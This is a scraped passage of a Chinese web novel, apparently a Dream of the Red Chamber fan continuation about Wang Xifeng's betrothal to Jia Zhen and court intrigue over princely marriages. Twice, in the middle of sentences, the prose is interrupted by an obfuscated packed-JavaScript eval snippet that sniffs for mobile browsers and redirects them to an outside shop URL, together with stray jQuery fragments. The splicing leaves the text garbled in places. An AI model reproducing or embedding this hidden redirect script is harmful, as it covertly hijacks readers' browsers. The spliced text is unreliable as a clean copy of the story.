张氏之所以之前就是一个印象,没能真正想起来,还是因为王熙凤年纪小了些,张氏只当还是个小女孩呢,哪里想得到婚事上头。王家之所以败落,张氏在里头做了个引子,当然,她也没有后悔的意思,毕竟,若不是王家在背后支撑,王氏也不会那般胆大妄为。何况,以王家犯下的那些事情,被问罪也是理所应当。只是如今看到王熙凤妙语连珠,八面玲珑的模样,不免就遗憾了起来。 等着贾赦从衙门回来,张氏就说了这事,然后叹道:“可怜凤丫头别的都好,偏摊上那么个糊涂爹,以至于原本一个千金小姐,如今却各种不如人!” 贾赦却是悚然一惊,警惕地看了张氏一眼,忙说道:“你不会是想着那丫头好,给冬生准备吧!先说好,我可不同意,但凭她姓王,就别想进我家的门!” 贾赦这般一说,张氏不由哭笑不得,忙说道:“谁说这个了,我便是疼她,也越不过冬生去!老爷你也说了,那丫头别的都好,单一个姓王,那就不成了!只是我之前想着,那丫头精明强干,偏生王家又败落到这个田地,婚事上头定然不顺!老爷你也是好几年不曾见她了,竟是不知道,她如今出脱得愈发出挑起来,跟她姑母站在一起,哪里像是一家子,反倒是鸡窝里头飞出了金凤凰!这般品貌,真要是落到寻常人家,那是祸不是福!” 贾赦撇了撇嘴:“你倒是一片好心,回头别好心被人当了驴肝肺才好!难不成你有什么好亲事,说给他们家的?我可是听说了,那丫头的哥哥,在学里头是个不学无术的,拿着学里给的纸笔银子在外头吃喝玩乐,只怕又是个跟他爹一样的败家子!” 张氏听了,笑道:“我看的是凤丫头自己的品貌见识,你跟我说她哥哥作甚!我还真有一桩好亲事,准备说给她呢!” 贾赦嘀咕一声:“我瞧夫人你啊,是自家儿子要结亲了,也喜欢上做媒了!说吧,你看上谁了?” 张氏笑道:“老爷觉得东府如何?嫂子如今愈发精神短了,急着要有个帮手帮衬,但是寻常人家的女儿,哪里能有这样的能耐见识,可好人家的女儿,就珍哥儿的名声,又如何肯嫁过来!凤丫头聪明能干,依我看,真是比男人都强出十里地去,他们王家几辈子的灵秀都在她身上了!偏生她们家如今就是寻常平民,想要高嫁,几乎没有可能,与其随便找个小官小吏嫁了,还不如配给珍哥儿!虽说前头还有个蓉儿,可是东府那边爵位本来也快到头了,既是没有爵位碍在前头,以后凤丫头有了孩子,家产也能均分,出息的话,咱们再拉拨一把,不算亏待了她!” 作者有话要说 第 173 章 贾赦一听,倒是觉... 第173章贾赦一听,倒是觉. 贾赦一听,倒是觉得这事还有几分靠谱,不过还是说道:“那丫头那般性子,只怕心气也大得很,未必乐意给人做填房,你别好心办了坏事,回头先叫人打听一下他们家的意思才行!” 张氏说道:“那是自然,真要是这门婚事成了,他们家那哥儿也得好生调理一下才行,别整日里就想着吃喝玩乐的,不如跟珍哥儿一般,免得回头惹出什么祸来!” 贾赦胡乱点了点头,说道:“等事成了再说吧,一想到王家的人,我就不自在!” 张氏也就是瞧着王熙凤的人品才干,觉得可惜罢了!尤其,王熙凤站在那里,愈发比得王氏是个榆木疙瘩,更叫张氏觉得痛快。 张氏也没耽误,毕竟宁府那边是真的不能没人管,她先找了徐氏,询问了她对王熙凤的看法。 徐氏自然也是知道王熙凤的,前些年都养在西府里头,跟元春同进同出。贾史氏明面上对亲戚家的姑娘一向客气,王家虽说败落,贾史氏那会儿又存了拿着王熙凤作筏子的心,自然对王熙凤的打扮教养也精心。 只是王熙凤又不知道自己是给元春做替补的,她也不喜欢跟着宫里的嬷嬷学什么规矩,对于诗词歌赋也没什么兴趣,除了跟着学了不少字之外,只是对算账管事感兴趣。她记性好,又能说会道,那些眉高眼低的事情,很快就能搞得差不离,精明强干之处,贾家一干人都看在眼里。 王家那边人丁寥落,有的时候,王熙凤就在荣府过节,贾史氏喜欢热闹,常常也请了徐氏过去,徐氏对王熙凤印象很好,是个明艳爽利的小姑娘,这会儿张氏一说,徐氏便有些心动,继而有些踌躇:“我家那个孽障,我就怕配不上凤丫头!” 张氏一听徐氏肯了,便笑道:“凤丫头就亏在家世上了,要不然,我也不敢张这个嘴!回头我便替嫂子走一遭,去问问她母亲,若是不成,我来给嫂子赔罪,若是成了,嫂子可得给我封个大红封!” 徐氏忙说道:“弟妹这般费心,便是不成,我也只有谢弟妹的份,哪里说什么赔不赔罪的话!” 等着送走了张氏,徐氏越想越觉得妙,然后又开始患得患失,毕竟,贾珍在她眼里,实在是有些烂泥糊不上墙, 再好的媳妇,配给他都是白瞎了!人家好好的姑娘,谁会乐意跟个名声糟糕的老男人凑在一起。 实际上徐氏没想到的是,王子胜夫人其实别无选择。 王熙凤实在是太出挑了,如今王子胜夫人都不敢叫她出门,生怕惹了人的眼。她当年没有陪嫁宅子,只陪嫁了田地铺子,她孤儿寡母的,又不敢带着孩子住在庄子上,回头下人起了邪心,她们母子三人死在外头都不知道。因此,一开始借着贾家的势在京中安定了下来之后,她就买下了这么一个宅子,并不大,就是个一进的小院,好在单门独院,周围倒不是什么平民百姓,也是些小官小吏人家,如此也不会有什么地痞无赖上门骚扰。 之前王熙凤养在贾家,王仁在贾家族学里头念书,王子胜夫人自个带了两个粗使的婆子,一个丫头在家住着,倒也算是安宁,但王熙凤回来之后,只是参加了一次这边邻里间的后宅宴请,之后就发现盯着自家的人变多了。 王子胜夫人出身不差,但是这些年住在外头,见识的事情也不少。她就怕有人看中了自家女儿的颜色,故意损了女儿的名声,到时候女儿会落到什么田地,她都不敢多想!有的时候做梦的时候都能惊醒过来。 如今张氏居然愿意做媒,叫王熙凤嫁到宁国府,哪怕是做继室填房,那也是王熙凤之前做梦也攀不上的婚事。 王子胜夫人简直要给张氏磕头,忙不迭说道:“宁国府太夫人能看中我家凤儿,那是凤儿的福气! 听得王子胜夫人说了这话,张氏笑道:“凤丫头是我们几个看着长大的,人品相貌才干,样样出挑,我早就想要让她长长久久留在家里头,如今也算是如愿以偿了! 王子胜夫人又是谦虚了几句,只觉原本沉甸甸的心一下子就松快下来。有个荣宁二府的威慑,以后这边谁敢再打自家的主意! 徐氏得了准话之后,简直是喜出望外,先去玄真观跟贾敬说了这事,即便王熙凤年纪还小,徐氏也准备赶紧将事情砸瓷实了,免得王家那边后悔。 贾珍在京营里头吃了几个月的苦头,贾赦才捎了话回去,言说家里给他续弦的事情,他一时间喜上眉梢,都没问对象是谁,就满口说好,毕竟要是成婚,他这个新郎官总不能不出面,到时候自然也就能逃离苦海了! 他现 在是只要能脱了身,恨不得赌咒发誓,自己以后一定洗心革面,重新做人。 结果贾赦的人好心告诉了他结亲对象是谁之后,贾珍就蔫了。 王熙凤还是个小姑娘呢,贾珍虽说如今已经算得上是色中饿鬼,但是他喜欢的是那种成熟一些的,而不是这等除了长得好看,根本还没发育,前后都是搓衣板的小姑娘啊! 尤其,王熙凤这个年纪,如今最多也就是定亲,等着正式成亲,还不知道要等多久呢!他逃离苦海的日子还不知道在什么时候! 同一什的人听说他又要定亲了,不免有些羡慕,嘴里嫉妒道:“生得好就是好,死了一个媳妇,还能再娶一个,像是我们这样的,能娶一个媳妇就算是不错了! 贾珍已经放弃了跟这些人说自己的身份,没精打采地说道:“只是定亲而已,离成亲还早着呢! 那人笑嘻嘻说道:“甭管早不早,反正你又要当新郎官了!咱们今儿就要先吃一顿喜酒! 贾珍如今跟什伍里头那些人已经厮混得比较熟,也不再挨这些人欺负了!他其实身体素质比这些人强得多,毕竟,他从小到大,吃的是什么,论起营养充足,比起这些人不知道强到哪里去。 如今操练起来之后,身上原本那等浮华之气消磨掉大半,肌肉都练出来了,他原本也学过骑射,也就是之前酒色过度,荒废掉了而已。如今重新捡起来,就比旁人强出一截来。军中最重实力,他既是有实力,自然大家要对他客气几分。 他如今也明白了,自己这情况就是家里一手造成的,还不知道要熬多久,既来之则安之,先老老实实待着吧。这会儿听得人这般一说,不免笑道:“我手里就那么几两饷银,都给你们吧,你们要喝什么酒,自个买去!钱超了,我可是没有的! “放心吧,超不了你的!那人笑呵呵地凑过来,熟极而流地摸走了贾珍的钱袋,然后又叫了几个人,鬼鬼祟祟跑了。军中不许饮酒,不过他们这些下头的人都有些门路,上头其实也知道,无非就是睁只眼闭只眼罢了。 结果轮到贾珍的时候,上头闭着的眼也睁开了,他们这一什直接被抓了典型,连同什长都跟着挨了一顿揍。贾珍还以为要挨埋怨,结果大家竟是不以为意,还安慰了他几句,之后一切照旧。 … … 早在贾瑚顺利活下来的时候顾晓就知道这红楼剧情能不能继续上演是个大问题但如今听说王熙凤居然被许给了贾珍顾晓还是吓了一跳。 摊上王熙凤这样的“泼皮破落户”纵然王熙凤如今背后没有王家撑腰 不过既然王熙凤都要成亲了那位秦可卿如今又是个什么情况? 顾晓心里好奇却知道这事自己不该去查别这位真是什么沧海遗珠金枝玉叶到时候问题可就大发了。到时候人家问你怎么知道这人总不能认下来说是徒宏远的。 所以便是想要知道也得等到自己的交际圈子里出现秦可卿这个人才行。 顾晓这边看别人的热闹然后就有人看自己的热闹了。 佳婉都定亲了徒嘉钰的婚事还是个问题。 原本徒嘉钰是标准的金龟婿成年就是亲王平王府这些年看着不显眼但是从平常漏出来的迹象就知道府里头也有钱女孩子嫁过去就是亲王妃实打实的荣华富贵。 偏生徒嘉钰跟徒嘉珩交好徒嘉珩居然在太上皇的操作下定下了太上皇母族的侄孙女为正妻这就让徒嘉珩的竞争力又下降了一大截。毕竟太上皇母族着实有些单薄这样的妻族能给徒嘉珩带来什么助力呢? 加上圣上又从来不提立太子的事情徒嘉珩这个嫡长子在圣上那里似乎也没什么重要的圣上春秋鼎盛谁知道将来会是个什么情况一般人真不乐意趟这趟浑水。徒嘉钰与徒嘉珩交好说不定将来就要陷入夺嫡之争中这就让许多人家望而却步了。 因着这事徒嘉钰的婚事就成了难题。顾晓之前还想着叫儿子晚婚晚育但如今外头却是有许多碎嘴子说徒嘉钰以后定然婚事艰难之类的话。 宫里头都听说了外头的闲话皇后放心不下不免又召了顾晓进宫。 “皇嫂怎么说起这些!”顾晓一向不怎么出门府里的人也不会拿这些话来叫顾晓恶心因此顾晓竟是头一回听得这事不免有些纳闷。 皇后说道:“也是珩儿连累了钰儿!” 顾晓失笑道:“皇嫂这话怎么说的他们哥俩从小一 块长大的,大皇子一直就跟钰儿大哥哥一样,上哪儿都照应着,怎么就连累他了!我是觉着,男孩子嘛,懂事得晚,与其早点娶了媳妇回来不上心,不如晚几年,懂事了,夫妻之间感情也深厚,以后日子也和顺! 皇后只当顾晓是在自我安慰,毕竟这年头大家成婚都比较早,她更是十四就嫁到了王府,但凡是个讲点规矩的,对嫡妻便是没有十分爱意,也得有七分敬重在里头,哪里就不和顺了。 顾晓见皇后还想要再说,只是笑道:“我瞧着钰儿也没放在心上,他且还没开窍呢! 皇后见顾晓这般,也不好再说什么,只是转移了话题:“那钰儿如今除了在弘文馆念书,平常喜欢干点什么? 顾晓笑道:“从知道家里有海外生意之后,就来了兴致,缠着我问海外的事情,我哪知道多少,只好叫他自个去找书看!他又不知道从哪儿翻摸出前朝宝船的图纸来,叫人做了模型晚,还打听了西洋那边船舰的模样,如今整日里摆弄,说是也想要造船呢! 皇后听得噗嗤一笑:“好好一个宗室王爷,倒是琢磨着要做船工了! 顾晓摇了摇头,说道:“横竖也没别的事情,他有个爱好也是好的,到时候真要是能做出什么新式的船样来,就将图纸送到南边去,造出来试试看,就算不能出海,放在内河里面运输也不亏! 皇后听了想想也有道理,宗室里头各家王爷又没有什么差事,也无实权,闲着没事,自然得琢磨出点事情来,像是什么斗鸡走狗,骑马章台之类的都是小儿科,训鸟的,养猛兽的,玩戏子的,捧花魁的,还有许多稀奇古怪的事情,像是徒嘉钰这般琢磨着造船,居然是一件比较健康的爱好了。 皇后不免点了点头,笑道:“也是弟妹开明的缘故,我记得你们家末儿这些年都在学画? 顾晓又是点头说道:“可不是,他原本的先生就是个琴棋书画俱佳的,跟着学了几年,觉得咱们传统的画儿重意不重形,不如西洋的画儿画得真,便又跑去学西洋画,咱们这边连个正经的西洋人都看不着,哪里找得到什么西洋画师,少不得只得在外头寻了西洋人的笔记,还有那西洋画,叫他学着看,他还喊着想要融合中西,自开一派呢! “倒是好志向!皇后赞道,“回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464944|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头等他学好了, 叫他也给咱们娘几个画一幅!宫里的那些画师,画出来的端端正正,但是乍一看,一个个都细眉细眼的,男人家还能看胡子,看胖瘦,咱们女人家,身形也都差不太多,再都穿着差不多的衣裳,根本没太多区别。 顾晓“噗嗤一笑:“那娘娘可有的等了,我当日也是这般跟他说,早点学会了,替我也画一幅,结果这么长时间,连猫狗都画不像呢,至于画人,且等着吧! “他还小呢,便是史书上那些成名的大家,真正画得好,也是后来的事情了!皇后其实心里有些羡慕,要是丈夫没有登基,那么自个儿子徒嘉珩也可以找一样喜欢的小爱好,不至于落得如今这样尴尬的境地。 只是,到了这个位置,不是什么说退就能退的,一个不好,虽说不至于粉身碎骨,之后日子也绝不好过。本朝又不像是前朝,夺嫡失败的皇子照旧封王就藩,只要不造反,在封地上随便怎么折腾都行。本朝便是封了王,那也是在皇帝眼皮子底下,他要是看你不顺眼,那就是动辄得咎,几次之后,爵位保不住不说,说不定连命都保不住。 想到这里,皇后又暗恨徒嘉珩不争气,明明跟着太上皇这样的老狐狸,偏生依旧是一幅憨憨的性子,半点没学到太上皇的帝王心术。或者说,太上皇其实拿着孙子也就是当小猫小狗一样养着,哪里会真的用心教导。 只是圣上还指着徒嘉珩询问大明宫那边的事情,虽说真正要紧的事情,太上皇也不会叫徒嘉珩知道,徒嘉珩能告诉圣上的无非就是太上皇精神好不好,心情好不好,吃饭好不好之类的话,而这些,对于圣上来说,已经足够,起码不会莫名其妙就触了霉头。 只是,一边拿着自家儿子做细作,一边对儿子的尴尬处境视若未见,皇后每每想起来,就觉得不忿。当初也不见他对长子有什么不满,结果当了皇帝,虽说没翻脸,却也愈发挑剔起来了。也不想想看,他自个当初在太上皇那里,又是个什么评价,当年各种战战兢兢,结果如今这样的滋味,还要让儿子尝一次。 这些话,皇后也不能对别人说,如今瞧着顾晓心宽的模样,一时间又有些索然起来,她强笑道:“钰儿如今也不小了,回头我就求了皇爷,早点叫他袭爵吧,这说亲的话,也更好听一些! 顾晓忙起身行礼谢了,就见皇后 摆了摆手,说道:“这有什么好谢的,本来也到时候了,便是你们家不着急,另外几个府上都急了! 说到这里,又想到颖王太妃和安王太妃,这两位一个是被塞了个庶子在名下,好歹也不怕庶子不孝,一个当初硬要太上皇的强,想要过继简王家的孩子为嗣,结果直接被太上皇晾在那里了,这几年也消停了下来,躲在自家王府根本不露面。 至于端王府那边孩子比徒嘉钰还小一岁,倒是端王太妃早早就给自家儿子寻摸了外祖家的一个女孩子,亲事都已经定下来了,就等着儿子袭爵再成亲。 见皇后有些意兴阑珊的模样,顾晓也识趣,直接起身告退。 她人刚走,皇后就忍不住长叹了一口气,一边孙嬷嬷忙问道:“娘娘怎么了?奴婢瞧着平王太妃也不曾抱怨娘娘什么! 皇后摇了摇头:“她素来十个心宽的,要不然也不能这般自在!我就是有些羡慕她,许多事情,她能放得下,我却是放不下的! 孙嬷嬷一下子想左了,觉得又是贤妃在宫里作妖,不免同仇敌忾起来:“娘娘,你才是六宫之主,贤妃再如何也越不过你去,娘娘也是太宽厚了些,纵得她蹬鼻子上脸的,在娘娘这里还摆出主位娘娘的款来! 皇后见孙嬷嬷想差了,又不好解释,忙说道:“嬷嬷不可这么说,她既然是皇爷册封的正妃,在宫里就是主子,我这个做皇后的,只有宽容的份,真要是与她斤斤计较,在皇爷那里,反倒是失了身份! 孙嬷嬷利索地扇了自己一个嘴巴:“是奴婢失言,奴婢就是替娘娘觉得委屈! 皇后见孙嬷嬷用的力气太大,脸上一下子红了一片,忙叫人拿了芦荟膏来给她抹脸,嘴里劝道:“我都是皇后了,还有什么委屈的,下面皇子且还少着呢,等过了年,就是大选的年头,到时候宫里还得进新人,皇爷又是春秋鼎盛的年纪,下面一茬茬的皇子皇女只怕很快就冒出来了,甭管是谁生的,最后不都得叫我一声母后吗? 孙嬷嬷听到皇后这般说,跟着也是心中暗叹,自家姑娘这么多年,何曾过过多少顺心日子。原本想着王爷成了皇爷,姑娘当了皇后,一切都好起来了,结果如今看起来,竟还不如当初做王妃那会儿。只是她也意识到自己刚才失言,她便是皇后的乳母,但也只是宫里的奴婢,而贤妃,再如何,也是皇爷的正妃,位次仅在皇后之下,她开这个口,叫外头知道了,就要误会皇后了。 想到这里,孙嬷嬷愈发羞惭起来,眼睛一红,却不知道该怎么跟皇后说才好。 主仆两个最后互相安慰了一番,皇后瞧着自己鬓发都乱了,犹豫一下,说道:“叫个人去兴庆宫,看看皇爷今儿下了朝有没有空,有空的话,问问皇爷是不是来凤仪宫一趟,就说本宫有事找皇爷商量! 徒嘉珩在外人看来不得圣心,但中宫的地位其实并没有受到太大的影响,毕竟,圣上对皇后还是敬重的,皇后只要有什么事,圣上说过来就过来,并无推脱的时候。再有就是,皇后虽说年纪不小,但谁说就不能再生一个呢?便是皇长子不行,再生一个嫡子,总不能也不行! 因此,下头人侍奉皇后依旧恭敬精心,听得皇后这般说,便忙往兴庆宫禀报。皇后又赶紧叫了人重新给自己梳头,等着圣上过来。 作者有话要说 第 174 章 封爵 第174章封爵 皇后说的给各家嗣王袭爵的事情本来就是正事,圣上一听,自然是立马答应下来。 当然,这事也得跟太上皇禀报一声,因此,圣上在凤仪宫也不曾多待,就先往大明宫去了。 大明宫那里,徒嘉珩人倒是不在,反倒是贵太妃在一边伺候,也算是一把年纪了,如今还坐在太上皇身边,拿了一个美人锤给太上皇捶肩。 圣上给太上皇和贵太妃分别行了礼,放在以前,贵太妃也就大喇喇受了,如今不是形势比人强嘛,因此,贵太妃老老实实避开了这一礼,等着太上皇叫圣上坐了,才又坐回太上皇身边,继续给他捶肩。 如今天气热了起来,太上皇斜靠在一个大纱枕上,眼睛略抬了抬,随口就问道:“老四你过来,只怕是有事要说吧!” 圣上听了就觉得别扭,这话搞得跟自己无事不登三宝殿一样,不过实际上也正是如此,他只得说道:“父皇慧眼如炬,儿子这次过来,也是请旨来着!” 太上皇想了一下前朝的事情,近来也没什么需要为难的。江南那边甄家已经上了秘折,说是通政司在江南以打拐的名义,抓了许多拐子和人牙子,一些私底下不干净的官牙也没放过,又牵扯到不少大户人家,救出了许多被拐卖的孩子,由官府寻访亲人,要是原本就是被亲人卖了的,也被官府先放在慈幼院安置下来,如今江南那边百姓都说皇恩浩荡,对那些掺和到拐卖孩童的大户人家,那真是愤恨不已。 普通人是理解不了这些人家逻辑的,你们要钱有钱,要人有人,便是想要好的伺候,觉得那么多家生子和佃户家的孩子都不够好,那你们直接找官牙啊!怎么就跟那些拐子勾结,硬是拐了人家好人家的女孩子回来呢? 却没想到,人家要的不是什么伺候的奴婢,而是死士或者说是细作,将外头生得好看的孩童拐进来,女孩子就精心教养,等大了,以养女、族亲之类的名义献美,男孩子就更倒霉,要么就是被弄了去学戏,做娈童,还有一些直接被阉割了,通过一些渠道送到宫里做太监的。 这些消息披露出来,简直是耸人听闻,有几个还是那等在乡间名声不错的人家,家里出过不少进士举人,平常也修桥补路,斋僧奉道,舍衣赠药 的,哪知道私底下竟是这般行事。甚至还有勾结了响马,动不动就劫掠乡里的。 太上皇得了消息,不得不承认,自己这个四儿子,如今手腕也愈发成熟了,他不用追查白莲教的名义,毕竟,白莲教在一些底层百姓里头还是有市场的,真要是追查起来,闹出民变来,又是麻烦,反倒是以拐子作为切口,大家都不会有什么想法。便是那些穷得卖儿卖女的百姓,孩子被拐子拐走了,钱是落拐子手里了,他们却是落不下半文钱。何况,自家卖孩子,多半是卖给大户人家做奴婢,讲究一点的人家,不会对家里下人有多苛待,反而比在家过得好。可是被拐子拐走,那就不一样了,谁知道卖到什么腌臜地方去,而且也不知道去路,想找也找不回来。 如今江南那边的民心已经开始转到圣上这边,太上皇便是不满,也是无可奈何。不过,他手底下的人跟着行事,却也发现,自己原本以为的心腹,竟也是个吃里扒外的,他已经吩咐下头,用家法将那人私底下处理掉,好在那人没有真正背主,要不然的话,以太上皇的脾气,连着家小都要一并株连。如今嘛,只要那位老老实实去死,那么,他的妻儿还能带着丰厚的遗产继续过活。 这会儿见圣上低眉顺眼的模样,太上皇便有些来气:“你是皇帝,自己做主便是,要来找朕请什么旨! 圣上见太上皇心气不顺,倒也没有发慌,毕竟他这才来是让老爷子施恩的,老爷子要是发火,那可就是说不过去了! 因此,圣上直接说道:“儿子此来,是想到几个侄儿如今都大了,眼看着都要娶妻,他们父亲不在了,总要身份上头更体面一些,不能总顶着个嗣王的名头,还是及早叫他们袭爵,以亲王的身份大婚,也是父皇的一片慈心! 听得圣上这般说,太上皇语气也舒缓下来:“难得你还想到自己几个侄子,这话说得倒也是,既是如此,你回头便拟旨吧!另外,之前跟你说了平王家那个玕儿的事情! 太上皇说什么玕儿,圣上差点没想起来,毕竟,府里头原本都是跟着平王府那边叫小名的,这个大名几乎就没怎么用过,但是前头既然加了平王府三个字,圣上很快就反应过来:“父皇说的是,七弟妹于国有功,只是她已经是亲王太妃,封无可封,因此加恩子女,朕回头便以父皇的名义,发个册封诏 书便是!” 太上皇满意地点了点头,嘀咕道:“老七是个糊涂种子,倒是有个贤惠媳妇,可惜他福薄,便也罢了!” 圣上对此深以为然,正想要附和几句,结果就听太上皇叹道:“朕这些日子,夜里常梦见你们大哥!” 这说的是义忠亲王,圣上也跟着点头,眼圈一红:“大哥对下面兄弟,素来都极好的!” 太上皇见圣上这般,又是说道:“他当年犯了糊涂,便是自己畏罪自戕,怎么就连下面几个孩子都一并带走了!这叫朕日后九泉之下,如何面对皇后!” 圣上不知道太上皇是个什么意思,只得含糊着说道:“大哥性情激烈,便是母后知道了,也不能怪父皇!” 太上皇也知道自己的打算不能现在就说,因此只是摆了摆手,说道:“朕就是一说罢了,另几个孽障好歹还有血脉在世,虽说废为庶人,总归还留了香火,就你大哥那边,朕总归放心不下!” 圣上很疑心太上皇是不是知道什么事情,如今才跟自己敲边鼓,难不成义忠亲王外头还有私生子?一想到这个,圣上就有些忍不住,这么多年来,圣上心里,还是就义忠亲王才是亲儿子的架势,其他儿子可有可无,就那个是宝贝疙瘩。 自己将人逼死了,如今又后悔起来,真要是冒出个私生子来,回头该怎么说? 圣上嘴里附和,心里却下了决心,准备叫人查一查这事,毕竟,义忠亲王当年党羽众多,自己当初不也是太子一党吗?说不得就有哪个忠心耿耿的,玩什么“赵氏孤儿”那一套。 这般一想,圣上都觉得有点坐不住了,瞧着太上皇似乎也没别的事情要说,干脆便起身告辞。 太上皇也看到圣上神色中带了些狐疑,却没想到这事上头,只是觉得这个儿子果然是历练出来了,才当了多久的皇帝,疑心病都跟着冒了出来。 不过他对此也没在意,他只是不想在有生之年失去权柄,落得跟李渊李隆基一样的下场,心里头压根没想真的换个皇帝。 贵太妃却是觉得太上皇心中不虞,忙说道:“皇爷,纯王已经娶了侧妃,如今已经怀上了,回头这个孩子若是个男孩,不如过继给义忠亲王?也算是给义忠亲王留了一脉香火?” 贵太妃心里打算得很好,只要能继承皇位,一 个孙子算得了什么。 太上皇却有些不乐意,他早就看好了人选,徒宏憬的侧妃生的,那还是庶出,怎么配给自家心爱的嫡长子做嗣子?不过嘴上肯定是不能这么说的:“那是十四的长子,哪能过继出去!他要真有这份孝心,等以后儿子多了,朕好好挑一个!” 贵太妃对太上皇的画饼大法从来都毫无免疫力,这会儿照旧被忽悠得找不着北,忙说道:“那臣妾可得催着十四一些,到时候皇爷尽管挑便是!” 圣上回了兴庆宫,便直接跟夏守忠说道:“找几个人,私底下查一查当年的东宫旧人,看看谁家那几年多了孩子的!” 夏守忠一愣,很快答应下来。 …… 顾晓这边,前脚刚被皇后关心了一把,后脚隆安侯夫人也上门了,也在关心徒嘉钰的婚事,甚至表示可以在隆安侯家的一众亲戚里头挑选,顾晓只得又费了一番口舌,表示自己的确没想着叫徒嘉钰早娶的意思,才算是将人送走了。 徒嘉钰回来听说外祖母来了,还过来好奇:“外祖母来了,怎么不曾等我休沐的时候来?” 顾晓白了他一眼:“都是为了你的事情来的,你还想如何?” 徒嘉钰一愣:“怎么就是为了我的事情?” 顾晓说道:“还不是你的婚事,你大妹妹都定亲了,你这边总不能拖着!我原想着,你如今还没开窍,回头便是成了亲,也亲香不起来,没得叫人家新妇受了委屈,想着等两年你自个有心再说!哪知道,如今外头各种闲言碎语,不说是咱们家暂时没打算,反倒是说因着你与皇长子交好的缘故,咱们家看中的人家不肯与你结亲!你外祖母知道了,哪有不担心的道理,也就是家里没有跟你年纪相当的表姐妹,要不然啊,都要直接牵红线了!” 徒嘉钰倒也没觉得尴尬,哪怕贾瑚都已经春心萌动了,他也没起这个心思,毕竟,好玩的事情多着呢,他平常除了自家姐妹,最多加上宗室里头那些女孩子,也没见过外头的女子,自然很难生出什么绮念来。他咕哝一声:“这些人真是吃饱了撑着,我成不成婚,与他们有什么相干!我好好一个亲王妃的位置,还不想便宜那些碎嘴子呢!” 顾晓见他抱怨,笑道:“行啦,你既是暂时没这个想法,便略等个一年半载的,等这风声过了 再说!” 徒嘉钰郁闷地点了点头,想到徒嘉珩,又气恼道:“我跟珩大哥那边好,又碍着什么事了,他还是雍王府长子的时候,我们就交好,他如今成了皇长子,我就远着了,那我成什么人了!再说了,我瞧着那些人,是吃不着葡萄说葡萄酸,皇伯还什么都没说呢,他们倒是一个个咸吃萝卜淡操心,恨不得替皇伯做主了!” 顾晓拍了拍徒嘉钰的手,温言说道:“咱们这样的人家,不惹事,也不用怕事!家里一个亲王爵位顶在这里呢!再说了,便是你与皇长子好,咱们家在这事上也没什么发言权,圣上说什么,便是什么,咱们只凭本心罢了!再说了,圣上何等心胸,怎么会真的委屈了皇长子?” 顾晓这话其实是在安慰徒嘉钰,这做皇帝的,其实某种意义上来说,真的是不算人了,他们就是标准的利益或者说是权力驱动的生物,但凡有人威胁到皇权,他们立马就能跳起来,做出最大的反应。一个皇长子算什么,史书上,一些皇帝杀儿子跟杀鸡差不多。远的不说,太上皇当年对义忠亲王何等爱重,最后又如何了? 徒嘉珩在当今那里的地位,肯定是比不得当年的义忠亲王在太上皇那里地位的。徒嘉珩那样的性子,做个亲王世子,那是绰绰有余,但是当太子,当皇帝,圣上就得担心这位被下头架空了。 实际上,顾晓对圣上这般做法也有些微词。这天底下,哪有人天生就能当皇帝的,圣上自个也是历练出来的,先是跟着义忠亲王,又是在各部走了一圈,才算是明白了朝廷的运转逻辑,别看太上皇弄权,但某种意义上来说,太上皇也是在为圣上托底。 在这样的情况下,圣上的皇位才算是暂且安稳了下来。他要是想要用徒嘉珩,就算不像是太上皇当年对义忠亲王那样手把手教导,也该给他几件差事,叫他历练起来,他见多了外头那些事情,自然也不会像现在一样,一直就是个铁憨憨。 但是这种话,顾晓也没法说给别人听,她如今发现,太上皇退位之后,自己竟是还没有以前自在了。毕竟,原本的妯娌如今一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464945|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下子就变成了上次,原本的伯子,一下子做了皇帝,她不能再如同之前那般,反倒是要赔上十二分的小心才行。 她现在私心里头竟是期盼着徒嘉珩在圣上那里受挫,如此,她才有可能推动宗室王爷成为 外藩之事。 这般想着顾晓对徒嘉钰说道:“不管怎么说皇长子那边这些话你也不用说他已经够难的了不要再叫他担心!” 徒嘉钰面色不好还是点了点头然后小大人一样长叹了口气:“唉 顾晓神情古怪忍不住说道:“你要是还嫌日子不好过难道就忘了之前在外头看到的那些人那些寻常百姓日子才是真的不好过连你这般伤春悲秋的功夫都没有他们是正经地手停口停一日不作一日不得食!而你呢生下来就在人家拼了命都够不着的地方了还有什么可叹气的!” 徒嘉钰嘟囔道:“话是这么说但正是因为衣食无忧才会有别的烦恼啊!” “行吧!”顾晓觉得自己有些求全责备了忘了人本身就有不同层级的需求正是因为徒嘉钰什么都有了才会追求更高层次的需求她干脆转移了徒嘉钰的注意力“你之前不是说看着西洋那边的商船设计了几款新船出来吗?有没有将模型做出来?” 徒嘉钰果然不想别的了有些兴奋地说道:“模型已经做出来了还在水池里面试过暂时没发现什么问题!” 顾晓说道:“海上情况比起大江大河都是不同水池上能行走放在海上光是那海浪就够呛你准备怎么尝试?” 徒嘉钰说道:“这有什么我叫人拿了大扇子扇风又在旁边浇水虽说不能跟海上风浪相比但那就是个模型本来也扛不住多少风浪同样的结构大船一般比小船更能扛得住狂风暴雨所以还是得先造出来才行!” 顾晓沉吟一番她上辈子对这些事情并没有什么了解参观各种航海博物馆之类也都是走马观花根本没留下什么印象因此这会儿并不能给徒嘉钰什么建议只得说道:“既然如此回头便叫人拿了图纸试制一番下水看看情况再说!” 